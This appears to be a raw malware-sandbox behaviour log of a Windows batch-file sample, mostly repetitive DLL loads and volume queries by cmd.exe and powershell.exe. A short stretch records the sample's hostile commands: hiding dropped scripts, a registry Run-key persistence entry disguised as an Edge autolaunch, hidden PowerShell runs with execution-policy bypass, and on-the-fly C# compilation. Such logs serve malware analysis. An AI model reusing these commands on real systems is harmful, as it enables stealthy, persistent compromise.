"C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004500-00000C17-1436586163 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005572-00000C17-1441025050 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005572-00000C17-1441530424 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005572-00000C17-1442172465 "powershell.exe" queries volume information of "C:\" at 00000000-00005572-00000C17-1442431563 "powershell.exe" queries volume information of "C:\share" at 00000000-00005572-00000C17-1442433223 "powershell.exe" queries volume information of "C:\share" at 00000000-00005572-00000C17-1442507658 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005572-00000C17-1443592847 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005572-00000C17-1443725745 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005572-00000C17-1443769804 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005572-00000C17-144391562334:T49a,"cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /K "C:\Inquiry46250BSTMA240-TP316L.bat"" - (UID: 00000000-00003104) "cmd.exe" called "CreateProcessW" with parameter "attrib +h +s "%APPDATA%\Microsoft\Windows\Templates\Spread.bat"" - (UID: 00000000-00003392) "cmd.exe" called "CreateProcessW" with parameter "attrib +h +s "%APPDATA%\Microsoft\Windows\Templates\UNTIL.vbs"" - (UID: 00000000-00003392) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftEdgeAutoLaunchUldTts" /t REG_SZ /d "wscript.exe //B //N" - (UID: 00000000-00003392), "cmd.exe" called "CreateProcessW" with parameter "powershell -nop -w h -ep bypass -c "try { $c = [IO.File]::ReadAllText('C:\Inquiry46250BSTMA240-TP316L.bat'); if ($c -match '::r9A" - (UID: 00000000-00003392) "cmd.exe" called "CreateProcessW" with parameter "powershell.exe -nop -w h -ep bypass -f "%TEMP%\Everyday.ps1"" - (UID: 00000000-00003392) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\sfa3g1o3\sfa3" - (UID: 00000000-00005572)35:T8651,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003104) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003104) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003104) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003104) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003392) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003392) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003392) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003392) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004092) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004092) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004092) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004092) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004500) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00005572) "powershell.exe" called "LoadLibrary" with a parameter 